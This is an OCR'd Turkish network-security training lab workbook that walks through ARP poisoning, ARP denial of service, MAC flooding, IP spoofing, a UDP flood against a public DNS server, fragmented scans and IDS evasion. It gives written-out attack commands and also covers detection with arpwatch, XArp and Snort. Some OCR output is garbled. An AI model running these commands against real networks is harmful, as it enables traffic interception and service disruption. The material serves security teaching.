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BGA Bilgi Guivenligi A.S. Hakkinda

BGA Bilgi Guvenligi A.S. 2008 yilindan bu yana siber glivenlik alaninda faaliyet gostermektedir.
Ulkemizdeki bilgi giivenligi sektériine profesyonel anlamda destek olmak amaciile kurulan BGA Bilgi
Guvenligi, stratejik siber glivenlik danismanligi ve givenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Uluslararasi gecerlilige sahip sertifikali 50 kisilik teknik ekibi ile, faaliyetlerini Ankara ve istanbul ve
USA’da stirdliren BGA Bilgi Glivenligi'ninilgi alanlarini “Sizma Testleri, Giivenlik Denetimi, SOME, SOC
Danismanhgi, Acik Kaynak Siber Glivenlik Céziimleri, Biiylik Veri Giivenlik Analizi ve Yeni Nesil
Glivenlik Céziimleri” olusturmaktadir.

Gerceklestirdigi basarili danismanlik projeleri ve egitimlerle sektdrde saygin bir yer edinen BGA Bilgi
Guvenligi, kuruldugu giinden bugiine alaninda lider finans, enerji, telekom ve kamu kuruluslanna
1.000'den fazlaegitim ve danismanlik projelerigerceklestirmistir.

BGA Bilgi Guvenligi, kuruldugu 2008 yilindan beri tlkemizde bilgi glivenligi konusundaki bilgi ve
paylasimlarin artmasiamaci ile glivenlike-posta listeleri olusturulmasi, seminerler, giivenlik etkinlikleri
dizenlenmesi, Universite 0grencilerine kariyer ve bilgi saglamak icin siber glivenlik kamplan
dizenlenmesi ve sosyal sorumluluk projeleri gibi bircok konuda génilli faaliyetlerde bulunmustur.

BGA Bilgi Giivenligi AKADEMISi Hakkinda

BGA Bilgi Glivenligi A.S.nin egitim ve sosyal sorumluluk markasi olarak ¢alisan Bilgi Guvenligi
AKADEMISI, siber giivenlik konusunda ticari, géniilli egitimlerin diizenlenmesi ve siber giivenlik
farkindaligini arttirici génilli faaliyetleri yiritilmesinden sorumludur. Bilgi Giivenligi AKADEMISI
markaslyla bugline kadar “Siber Guivenlik Kamplar”, “Siber Glvenlik Staj Okulu”, “Siber Givenlik Ar-

Ge Destek Bursu”, “Ethical Hacking yarismalari” ve “Siber Glvenlik Kiitiphanesi” gibi bircok gontllu
faaliyetin destekleyici olmustur.
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ARP Protokolii ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-01

Cain&Abel Kullanarak ARP Cache Poisoning Saldirisi

Amag: Ag giivenligi konusunda baz protokollerin zayif yonleri bulunmaktadir. Bu
protokollerden biri ARP protokiliidiir. Ortadaki adam saldirisi olarak bilinen “Main in the
Middle(MITM)” saldirisinin vazgecilmez bir parcasidir. Local agda bulunan baska bir
bilgisayarin ag trafigini dinlenmek istenmektedir.

Lab Senaryosu: Local agda bulunan bir bilgisayarin ag trafigini dinleyebilmek i¢cin ARP
Cache Poisining yontemi kullanilacaktir. Trafigi dinlenmek istenen bilgisayarin gateway
ile arasina girilerek ortadaki adam saldirisi olarak bilinen “Main in the Middle(MITM)”
gerceklestirilecektir.

Gateway PC-01 PC-02

192.168.2.1 192.168.2.2 192.168.2.6

- Kurban bilgisayarin(PC-02) arp tablosu kontrol edilir.

\Windows\system32>arp —a

Interface: 192.168.2.6 —— Bxc
Internet Address Physical Address Type
192.168.2.1 BB—1c—aB8-59-5e—-25 dynamic

- Saldir1 yapilacak bilgisayarda(PC-01) “Cain&Abel” programi calistirihir ve saldiri
yapilacak ag ara yiizi secilir.
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- Sniffer boliimiinde yerel agda bulunan aktif bilgisayarlarin kesfi yapilir. Programin orta
kisminda farenin sag diigmesine basilarak “Scan MAC Addresses” secenegi secilir ve
istege gore ip araligl ve tarama tiirleri belirtilerek kesif baslatilir.

”E} oo
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Lost packets: 0%

- Sniffer altinda bulunan “APR” boliimiinde “+” diigmesine basarak kurban bilgisayarin
cikis kapisi ve kurban bilgisayarlarin ag adresleri secilir.
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- Ag zehirlemesine baslanir ve kurban bilgisayarin(PC-01) arp tablosu tekrar kontrol
edilir.
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- Zehirleme islemi sonrasinda kurban bilgisayarin arp tablosuna tekrar bakilir. Goruldigu
lizere ¢ikis kapisi (Gateway) MAC adresi degismis durumdadir. ARP tablosu zehirlenerek
ag trafigi saldirgan bilgisayar lizerinden gececek sekilde devam ediyor olacaktir.
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\Windows\system322>arp —a

Interface: 192.168.2.6 —— Bxc
Internet Address Physical Address Type
1??.168.?.; @@—yg—?3—fh—39—8a dynamic

Son durumda baglanti sekli asagidaki gibi devam etmektedir.

2

W=7\

- Cain&Abel uygulamasindaki loglar asagidaki gibi olacaktir. FTP,SMTP,HTTP gibi 6nemli
servislerin trafigini pars ederek daha anlasilir ¢iktilar sunacaktir.
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Uygulama No: BGA-UAG-02

Isletim Sistemlerinde Dinamik ve Statik ARP Kayitlari

Amagc: sletim sistemlerinde bulunan ARP protokolii kayitlar: static ve dinamik sekilde
tutulabilir. Linux ve Windows isletim sistemlerinde static ve dinamik arp kayitlar1 nasil
girilir.

Lab Senaryosu: Linux ve Windows bilgisayarlarda static ve dinamik olacak sekilde arp
kayitlar: girilecektir.

- Windows bilgisayarlarda Dinamik ARP Kayd:

C:\Users\bgalabs>arp -a

Interface: 192.168.2.2 --- Oxb
Internet Address  Physical Address Type
192.168.2.1 00-1c-a8-59-5e-25 dynamic
192.168.2.3 90-18-7c-47-33-ad dynamic
192.168.2.4 8c-89-a5-c3-84-17 dynamic
192.168.2.5 00-1a-73-fb-09-8a dynamic
192.168.2.6 1c-c6-3c-a2-87-48 dynamic

- Windows bilgisayarlarda Statik ARP Kaydu:

C:\Windows\system32> arp -s 192.168.2.1 00-1c-a8-59-5e-25

C:\Windows\system32>arp -a

Interface: 192.168.2.2 --- Oxb

Internet Address  Physical Address Type
192.168.2.1 00-1c-a8-59-5e-25 static
192.168.2.6 1c-c6-3c-a2-87-48 static

- Linux bilgisayarlarda Dinamik ARP Kayd:
[root@bga ~]# arp -a
7(192.168.2.3) at 90:18:7c:47:33:ad [ether] on eth0

RT (192.168.2.1) at 00:1c:a8:59:5e:25 [ether] on eth0
7(192.168.2.2) at 00:1a:73:fb:09:8a [ether] on eth0

- Linux bilgisayarlarda Statik ARP Kaydu:

[root@bga ~]|# arp -s 192.168.2.1 00:1c:a8:59:5e:26
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[root@bga ~]# arp -a

7(192.168.2.3) at 90:18:7c:47:33:ad [ether] on eth0
7(192.168.2.1) at 00:1c:a8:59:5e:26 [ether] PERM on eth0
?7(192.168.2.2) at 00:1a:73:fb:09:8a [ether] on eth0

Uygulama No: BGA-UAG-03

Yerel Aglarda Sahte ARP Paketleri Ureterek DoS Gergeklestirme

Amacg: ARP protokoliindeki zaafiyet sayesinde yerel agda kurban olarak secilen
bilgisayarin arp tablosunun zehirlenerek dolmasi ve ag trafiginin tamamini1 bozmak.

Lab Senaryosu: Yerel agda bulunan kurban bilgisayara nemesis uygulamasi ile sahte arp
replay paketleri gondererek ag trafigini bozulmasi ve gateway ile arasindaki trafigi
durmasi beklenir. Bu durumda kurban ayni agdaki bilgisayarlarla iletisim kurabilirken
internet erisimi kesilmis olur.

Gateway

Saldirgan

Kurban

192.168.2.1 192.168.2.7

192.168.2.3
(1C:C6:3C:A2:87:48)

- Saldirgan bilgisayar da asagidaki komut calistirthir ve kurban bilgisayara bozuk/sahte

ARP-REPLAY paketleri gondererek ag trafigi bozulur.

# nemesis arp -d ethl -r -v -S 192.168.2.1 -D 192.168.2.3 -H 00:01:02:03:04:05 -M
1C:C6:3C:A2:87:48
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o 2.7 - SecureCR1 - o EN
Fle Eda View Options Transfer Scipt Tooks Window Help
q & = o
HPREAX N Bdad XY @ .
27 x
ARP/RARP Packet Injection -=- The NEMESIS Project version 1.4 (Build 26)
[mac] 00 03:04:05 > 1C:C6:3C:A2:87:48
[Ethernet type] arP (O )
[Protocol addr:Ip g > 192.168,2.3
[Hardware addrimac] © )2:03:04:05 > 1C:C6:3C1A2:87:48
[ARP opcode
[ARP hardware fmr] € (1)
[ARP proto faormat] 1P (OxOBOO)
ARP protocol len] 6
ARP hardware len] 4
wrote 42 byte unicast ARP request packert t"v‘ov.ul_ﬂ’ l|"-(y‘(;-f: DLT_EN1OMB.
Bl " i wi
= -
[rm):‘;ﬁbt:-n nemesis arp -d ethl .r .v .5 192 168 2.1 -D 192_168.2.3 -H 00:01:02:03:04:0%8 .M l(:(‘b:-;:::-.‘:ﬁ‘:.i!il I o
Ready ssh: AES-256-CTR 18, 109 18Rows, 119 Cels  VT100
CAW aws\svstem3IAemd . exe - RARR -t - O
= CAWindows\system32\cmd.exe - ping 8888 -t

- Saldir1 sonrasinda ¢alisan nemesis uygulamasi sonlandirilmahdir.
# pkill nemesis

Uygulama No: BGA-UAG-04

MAC Flood Saldirisi Gerceklestirerek Switch CAM Tablosu Doldurma

Amag: Yerel aglarda kullanilan akilli anahtar cihazlarinin CAM tablosu ismi verilen iki
bilgisayarin anahtar cihazi lizerinde haberlestiZinde bu haberlesmenin kayitlarinin
tutuldugu tablonun anlamsiz sekilde doldurularak anahtar cihazinin akilliik yetenegini
ortadan kaldirmak.

Lab Senaryosu: Bulundugumuz yerel agda gateway olarak kullanilan cihaza MAC Flood
saldiris1 gerceklestirilecektir. Bu saldir1 sonrasinda anahtar cihazinin cam tablosu

dolacagindan hub seklinde ¢calismaya devam edecektir.

# macof

5b:f4:9b:53:59:90 11:¢5:9c:28:87:a5 0.0.0.0.27402 > 0.0.0.0.11070: S

641495931:641495931(0) win 512
3f:32:8e:5:66:a7 e8:2d:3c:6a:da:af 0.0.0.0.12137 > 0.0.0.0.38027: S

1094023184:1094023184(0) win 512
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f7:d2:eb:42:a2:72 29:3d:65:4b:bb:20 0.0.0.0.10652 > 0.0.0.0.20971: S
1978377194:1978377194(0) win 512

€0:95:18:4c:cc:el cf:f:90:20:86:cf 0.0.0.0.10937 > 0.0.0.0.29278: S 882481100:882481100(0)
win 512

f3:18:ac:7e:33:4 le:7a:b9:71:c4:af 0.0.0.0.52095 > 0.0.0.0.58231: S
1337978984:1337978984(0) win 512

4:6d:24:53:a:d6 48:6f:20:8:b6:c8 0.0.0.0.6580 > 0.0.0.0.8291: S 1053471205:1053471205(0)
win 512

86:af:e2:10:88:52 a8:ea:ad:2a:c7:f0 0.0.0.0.37359 > 0.0.0.0.52423: S
1926765616:1926765616(0) win 512
e0:9f:58:71:a7:a6 7b:90:d:52:11:7d 0.0.0.0.10414 > 0.0.0.0.41452: S

967852127:967852127(0) win 512

f1:5b:c1:4a:37:ba 3d:7b:a4:43:1b: 1e 0.0.0.0.48351 > 0.0.0.0.7330: S
1203572302:1203572302(0) win 512

6¢:58:bf:77:74:16 b9:91:5e:6e:81:65 0.0.0.0.33323 > 0.0.0.0.644.3: S
1397857180:1397857180(0) win 512

3¢:72:44:5:27:80 49:7f:92:38:a:5a 0.0.0.0.61600 > 0.0.0.0.9702: S 83569464:83569464(0)
win 512

ce:d4:ed:39:e5:d6 12:ch:d5:59:9d:cd 0.0.0.0.838 > 0.0.0.0.12768: S466430124:466430124(0)
win 512

a5:34:ca:2a:a5:94 73:70:51:7f:86:df 0.0.0.0.429 > 0.0.0.0.64594: S
1992464745:1992464745(0) win 512

48:3c:3e:51:ac:87 a7:d1:1b:1f:61:c5 0.0.0.0.54185 > 0.0.0.0.21080: S
1338852372:1338852372(0) win 512

- “macof’ komutunun c¢iktis1 incelendiginde, sahte mac adreslerinden sahte mac
adreslerine farkl portlardan baglanti istegi acilmakta ve anahtar cihazinin cam tablosu
bu bilgilerle dolmaktadir. Bu durumda anahtar cihazi akillilik 6zelligini yitirecektir.
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Uygulama No: BGA-UAG-05

Snort, Arpwatch ve Xarp kullanarak MITM saldirilarini Engelleme

Amag: Yerel agda karsilasilacak bir ARP tablosu zehirleme saldirisin1 6nlemek

ARP protokolii tizerinde MITM saldirilarini tespit etmek icin bazi open source araglar
gelistirilmistir. Bu araclar kullanilarak ARP Tablosuna yapilan saldirilar tespit edilebilir
ve gerekli 6nlemlerin zamaninda alinmasina olanak saglar.

Arpwatch:

Bunlardan ilki arpwatch yazilimidir. Gerekli paket depolarindan kurumu yapildiktan
sonra ilk olarak

root@Kkali:~# arpwatch -i ethO

komutu calistirilarak ethQ ara yiizii dinlemeye gegilir. Daha sonra arp tablosuna yapilan
atak asagidaki syslog kaydinda goriilecektir.

root@kali:~# tail -f /var/log/syslog

May 2 03:48:20 kali arpwatch: new station 172.16.16.1 00:1f:d0:8d:86:db eth0

May 2 03:48:20 kali arpwatch: new station 172.16.16.1 00:1f:d0:8d:86:db eth0

May 2 03:48:34 kali arpwatch: changed ethernet address 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:48:34 kali arpwatch: changed ethernet address 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:48:34 kali arpwatch: flip flop 172.16.16.1 60:36:dd:f4:54:b1 (00:1f:d0:8d:86:db)
eth0

May 2 03:48:34 kali arpwatch: flip flop 172.16.16.1 60:36:dd:f4:54:b1 (00:1f:d0:8d:86:db)
eth0

May 2 03:48:34 kali arpwatch: flip flop 172.16.16.1 60:36:dd:f4:54:b1 (00:1f:d0:8d:86:db)
eth0

May 2 03:49:05 kali arpwatch: new station 172.16.16.34 34:23:87:60:07:83 ethO

May 2 03:49:05 kali arpwatch: new station 172.16.16.34 34:23:87:60:07:83 eth0

May 2 03:49:40 kali arpwatch: listening on eth0

May 2 03:49:50 kali arpwatch: new station 172.16.16.1 60:36:dd:f4:54:b1 ethO

May 2 03:49:55 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:55 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:55 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:55 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0
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May 2 03:49:55 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:55 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:56 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:56 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:56 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:56 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:56 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:56 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:57 kali arpwatch: new station 172.16.16.34 34:23:87:60:07:83 eth0

May 2 03:49:57 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:57 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:57 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:57 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:57 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1
(00:1f:d0:8d:86:db) eth0

May 2 03:49:57 kali arpwatch: ethernet mismatch 172.16.16.1 60:36:dd:f4:54:b1

Tablodan anlasilacag lizere ethernet mismatch paketleri yogunluktadir ve arp tablosuna
yonelik bir saldir1 gerceklesmektedir.
XArp :

Diger bir saldir1 tespit araci ise XARP aracidir. Grafik ara yiize sahip bu arag ile ARP
saldirilar1 tespit edilerek analiz edilebilir. Kurulumu yapildiktan sonra program
calistirilinca otomatik olarak ag ara yiizlinli dinlemeye alacaktir ve saldiriy1 tespit ettigi
zaman asagidaki gibi uyari verecektir.
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¥Arp - unregistered versio EE |
|| File XArp Professional Help
i
% Status: ARP attacks detected! Security level set to: basic
o View detected attacks aggressive The basic security level operates a
® Read the 'Handling ARP attacks' hel gf:ﬁ::;ft?t?:r;;%g:;a;&gﬁ
® View XArp logfile high This is the suggested level for default
environments.
== basic
Get XArp Professional now!
Redqister XArp Professional aand
| P | MAC | Host | Vendor | Interface | Online | Cache | First seen i
17216161 00-1f-d0-8d-86-db 17216161 Giga-byte Tec..  Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
w¥ 172161610 bé-8d-12-2b-f8-5e 1721616.10 unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
w¥ 172161611 c4-85-08-20-70-83 EMES-PC unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
w¥ 172161613 88-32-9b-3d-c9-d9 172161613 unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
w¥  1721616.20 (00-88-65-3d-1e-52 MACBOOKAIR...  unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
¥ 172161633 lc-cB-3c-a2-87-48 unknown Oxa - Microsoft  unkno.. no 5/2/2014 11:08:53 =
3 172161634 34-23-87-60-07-83 EGITIM-PC.bg... unknown Oxa - Microsoft  unkno.. no 5/2/2014 11:06:43
¥ 172161635 00-00-00-00-00-0b enes-PC Kerox Corporat..  Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
¢ 172161638 60-36-dd-f4-54-b1 172.16.16.38 unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
W 172161641 44-di-84-27-cd-fc 172.1616.41 unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
¥ 172161651 68-94-23-85-b6-1f 1721616.51 unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43)
¥ 172161699 18-67-b0-66-b5-35 soner unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
w¥  17216.16.100 af-bb-cf-0c-38-36 MACBOOKPR...  unknown Oxa - Microsoft  unkno.. yes 5/2/2014 11:06:43
3 1721616144 34-23-87-60-07-83 17216.16.144 unknown Oxa - Microsoft  unkno.. no 5/2/2014 11:06:43 _
e 477acacaT £8 na 17 oc e as 17mAc Az el LS T B £ At A asan
4 | 1 | »
KArp 2.2.2 - 17 mappings - 3 interfaces - 18 alerts

Snort:

Snort agik kaynak kodlu olarak gelistirilen bir IPS/IDS yazilimidir. Bu ara¢ kullanilarak
yapilan ARP saldirilarini tespit etmek miimkiindiir. Snortaraci korunmak istenen sisteme
yuklenip yapilandirilmasi yapilmalidir. ARP saldirilarindan korunmakicin snortunarp 6n
islemcisi aktif edilmelidir. Bununicin 6ncelikle /etc/snort/snort.confdosyasiacilir. Daha
sonra asagidaki tabloda bulunan satirlar bulunarak basindaki # isaretleri kaldiriir ve
kullanilmak istenen ip adresine gore yapilandirilir.

# preprocessor arpspoof
# preprocessor arpspoof_detect_host: 192.168.40.1 f0:0£:00:f0:0f:00

Bu sekilde aktif edildikten sonra snort loglarindan arp saldirilarina ait detaylar
incelenebilir.
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IP - Internet Protocol ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-06

IP Spoofing Ornekleri

Amagc: istenilen IP adresinden TCP/IP paketleri (tcp,udp,icmp,ip) géndermek. Saldirgan
kimliginin gizlenmesi.

Lab Senaryosu: yahoo.com adresinden google.com adresinin 80 portuna gidiyormus gibi
web istegi baslangi¢c paketi (SYN) gondermek.

- Hping uygulamasinin -a parametresi kullanilarak gonderilecek paketlerin ¢ikis adresi
istenilen bir adres olarak belirtilebilir.

root@Kkallavi:~# hping3 -S -p 80 -a yahoo.com www.google.com

HPING www.google.com (eth0 173.194.70.104): S set, 40 headers + 0 data bytes
C

--- www.google.com hping statistic ---

3 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

3 paket gonderilmis fakat hi¢ paket alinmamis. Donen cevaplar yahoo.com ip adresine
gittigi icin alinan paket sayis1 0 gériinmektedir.

- Port taramalarindaki IP spooficin NMAP kullanilabilir.

root@Kkallavi:~# nmap -D 5.5.5.5,3333 google.com

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-05 00:33 AKDT
Nmap scan report for google.com (173.194.70.138)
Host is up (0.085s latency).

173.194.70.113 173.194.70.100 173.194.70.139

rDNS record for 173.194.70.138: fa-in-f138.1e100.net
Not shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 10.62 seconds

Other addresses for googlecom (not scanned): 173.194.70.101 173.194.70.102
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Nat kullanan ortamlarda spoof edilmis tiim ip paketleri tek bir ip adresinden ¢ikar. Bu
sebepten dolay1 “ip spoof” gerceklestirilemez.

Uygulama No: BGA-UAG-07

Sahte IPv4 TCP Paketi Uretimi

Amac: ihtiyaca gére SYN, SYN+ACK bayrag set edilmis paketler iiretmek.

Lab Senaryosu: Hping uygulamasi kullanilarak SYN, SYN+ACK bayragi set edilmis
paketler tiretilecektir.

root@Kkallavi:~# hping3 -p 80 -S www.bga.com.tr

HPING www.bga.com.tr (eth0 50.22.202.162): S set, 40 headers + 0 data bytes

len=46 ip=50.22.202.162 ttl=43 DF id=44847 sport=80 flags=SA seq=0 win=0 rtt=165.7 ms
len=46 ip=50.22.202.162 ttl=40 DF id=45048 sport=80 flags=SA seq=1 win=0 rtt=168.0 ms
len=46 ip=50.22.202.162 ttl=43 DF id=45401 sport=80 flags=SA seq=2 win=0 rtt=170.5 ms
C

--- www.bga.com.tr hping statistic ---

3 packets transmitted, 3 packets received, 0% packet loss

round-trip min/avg/max = 165.7/168.1/170.5 ms

- Hping3 uygulamasi kullanilarak “SYN” bayragiset edilmis bir paket google.com adresine
gonderilmistir. SYN paketi ile bir baglanti istegi agmis oldugumuz icin SYN+ACK(SA)
bayrakli paketler geri donmustiir.
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Uygulama No: BGA-UAG-08

Sahte Ipv4 UDP Paketi Uretimi

Amag: Sahte UDP Paketleri tiretilerek UDP flood saldirisi gerceklestirmek.

Lab Senaryosu: Saldirgan ip adresinin de aralarinda bulundugu rastgele ip adreslerinden
UDP paketleri gonderilerek hedef DNS servisi sunucusu kaynaklari tiiketilecektir.

root@kallavi:~# hping3 --udp 8.8.8.8 --rand-source --flood

HPING 8.8.8.8 (eth0 8.8.8.8): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

rC

--- 8.8.8.8 hping statistic ---

256329 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

mz kullanarak;

root@kali:~# mz eth0 -c 0-d 10msec -B 8.8.8.8 -t udp dp=32000 -P "Multicast test
packet"

[Multicast test packet]

Mausezahn will send frames infinitly...
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Uygulama No: BGA-UAG-09

IP Adresinin Sahibinin Bulunmasi

Amag: IP adresinin kim tarafindan kullanildigin1 bulmak.

Lab Senaryosu: Saldirgan ya da merak edilen bir ip adresinin kime/hangi lilkeye ait
oldugunun 6grenilmesi

http://whois.sc

web sitesi adresinden ip adresi sorgulanabilir. Ornek sorgulama asagidaki gibidir.

o 1 bt hos domaintook.com P~ 2C 9 00216/5022.200162
Qpen 3 FREE Account | Loan | Heb

@ DomainTools bga com Wach Sewch [y

HOME } RESEARCH l MONITOR  BUY DOMAINS i LEARN w

IP Information for 50.22.202.162

1P Location: B Unnes States Chicago Softlaver Technologees Inc

ASN: B 2536351 SOFTLAYER - Seftlayer Technelogies Inc. (regitered Dec 12, J00S
Resolve Host: $0.22.202.142-stabc.revecse softiaver.com
1P Address: =03 ¢2 (W] [®] [7] [B] [T
Whois Server w t

Reverse IP: 2 wahaftes use thes sddress. {examples: boa.com.tr boskademesi org)

50.22.202.162 ip adresi sorgulandi ve “United States” ait oldugu belirlendi. Ulkelerin ip
adresi havuzlarinin 6grenilmesiicin ise asagidaki web adresi kullanilabilir.
http://blockcountryip.com/
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B rro miockecuntryip com O« 8C [ eisck Coustryip | i Court

g COUNTRY m Select A Country to block:

TRALL
UGANDA

A Ca=} m
fecm 50.22.0.0/16 It B UNITED ARAD EMIRATES
AUNITED STATES
UNITED STATES MUSOR CUTLYTHG BLANDS
UI.LVL'AY\

Uygulama No: BGA-UAG-10

Parcalanmis IP Paketleri Kullanarak Port Tarama

Amag: Parcalanmig [P paketleri kullanilarak hedef sistemdeki agik portlarin taranmasi
Lab Senaryosu: Nmap araci kullanilarak parcalanmis paketlerle porttarama

Fiziksel bir agin ¢evresindeki veri boliimiinde tasiyabilecegi en fazla veri miktarina MTU
denir. Bu fiziksel aga MTU degerinden daha biiylik bir paket gelirse paketler MTU
degerinden gecebilmek i¢cin daha kiicliik pargalara ayrilmak zorundadir. Bu olaya IP
paketlerinin pargalanmasi denir.

Parcalanmis paketlerle port taramanin amaci ise, taranan sistem oniinde trafigi izleyen
bir sistem var ise onlar1 atlatmaktir. Yani gonderilen paketi daha kii¢iik parcalara ayirarak
hedef sistem dntlindeki giivenlik cihazlarindan paketin gegmesini saglamak icindir.

Nmap araci ile port tarama yaparken bazen paketlerin boyutlarinda oynama yapmamiz
miimkiindiir. Bunu yapmak i¢cin nmap aracinin 6zelliklerinden faydalanabiliriz. Ilk olarak
nmap aracina ait “-f” parametresini kullanarak pargalanmis paketler iiretip port tarama
islemini gerceklestirebiliriz. Ornek bir uygulama asagidaki gibidir.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

root@bt:~# nmap -f 6.6.6.100

Starting Nmap 6.40 ( http://nmap.org ) at 2014-02-07 14:27 EET
Nmap scan reportfor 6.6.6.100
Hostis up (0.11s latency).
Notshown: 989 filtered ports
PORT STATE SERVICE

22/tcp closed ssh

80/tcp open http

427 /tcp open svrloc

443 /tcp open https

902 /tcp open iss-realsecure
5988 /tcp closed wbem-http
5989 /tcp open wbem-https
8000/tcp open http-alt
8080/tcp closed http-proxy
8100/tcp closed xprint-server
8300/tcp closed tmi

Ya da kendi belirledigimiz bir MTU degerini kullanarak paketleri o MTU degeri lizerinden
geciriyormus gibi gdsterip parcalanmis paketlerle port taramasi yapabiliriz. Ornek bir
uygulama asagidaki gibidir. Burada nmap aracinin “--mtu” parametresinden
faydalanilacaktir.

NOT: Belirtilen mtu degeri 8’e tam boliinebilir olmahdir.

root@bt:~# nmap --mtu 320 6.6.6.251

Starting Nmap 6.40 ( http://nmap.org ) at 2014-02-07 14:41 EET
Nmap scan report for 6.6.6.251
Hostis up (0.041s latency).

Not shown: 989 filtered ports
PORT STATE SERVICE
22/tcp open ssh

80/tcp open http

427 /tcp open svrloc

443 /tcp open https

902 /tcp open iss-realsecure
5988 /tcp closed wbem-http
5989/tcp open wbem-https
8000/tcp open http-alt
8080/tcp closed http-proxy
8100/tcp open Xprint-server
8300/tcp closed tmi
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Uygulama No: BGA-UAG-11

Parcgalanmis IP Paketleri Kullanarak IDS Atlatma

Amag: Parcalanmis IP paketleri kullanarak IDS cihazlarini atlatma

Hping ve Nmap parc¢alanmis paketler olusturmaya ve bunlarla bazi islemler yapmaya izin
verse de 6zellikleri kisithdir. ileri diizey testler igin her iki arac da yetersiz kalmaktadr.
Gercek ortamlarda test yapabilmek igcin bu ise 6zel yazilmis alternatif araglar
kullanilmahdir. Bunlar fragroute ve fragrouter’dir. Her iki ara¢ da temelde ayni isi
yapmaya yoneliktir. Aralarinda basit farklar vardir.

Fragroute ile Parcalanmis paket calismalar

Fragroute hali hazirda olusturulmus bir trafigi(bir web istegi) istenen 6zelliklere gore
parcalamaya yarar. Yani siz bir yandan web sayfasini ziyaret ederken diger yandan
fragroute sizin web sayfaniza giden istekleri belirli boyut ve 6zelliklerde pargalayarak
gonderir.

No:1 Jet MNo:2 C

Jetc/passwd )
|[] Fragroute
No:3 /pass No:4 wd

Fragroute’in saghkl calisabilmesi icin oncelikle Linux sistemlerde asagidaki komut
calistirilmahdir.
echo "0" > /proc/sys/net/ipv4/conf/all/rp_filter

Fragroute ile Ngrep 6rnegi;

Ngrep ag trafiginde string arama yazilimidir. Mesela ngrep -d eth2 -i ‘/etc/passwd’
Komutu eth2 arabirimini dinleyerek trafikte gecen /etc/passwd stringini yakalar ve
ekrana basar.

Bizim yapacagimiz test fragroute ile bir paketi parcalayip gondermek ve Ngrep’in bunu
yakalayamadigin1 gérmek.

Once paketleri parcalamadan Ngrep’i cahstiralim ve HTTP isteginde gonderdigimiz
/etc/passwd stringini yakaladigini gorelim.
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Yukaridaki islemi (HTTP isteginde /etc/passwd gonderimi fragroute aracihigiyla
yaparsak Ngrep'in bir sey yakalayamadigini goririiz.

Ngrep parcalanmis olarak gelen poaketleri
birlestiremedigi icin ikinci istegi

yaknlayalniyor
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Uygulama No: BGA-UAG-12

Parcalanmis IP Paketleri Kullanarak L7 Firewall Atlatma

Amag: Parcalanmis IP Paketleri Kullanarak L7 Firewall Atlatma

Parcalanmis Paketler ve Giivenlik Duvarlari

Giivenlik duvarina bir paket geldiginde onu baslk bilgilerine bakarak filtreleyebilir fakat
paket parcalanmis bir paket ise sadece ilk parca paketi filtreleyebilecektir, diger parca
paketler firewalldan siiziilerek gececektir.

Guvenlik duvarlar1 gelip giden paketleri kural tablosu ile Kkarsilastirabilmesi igin
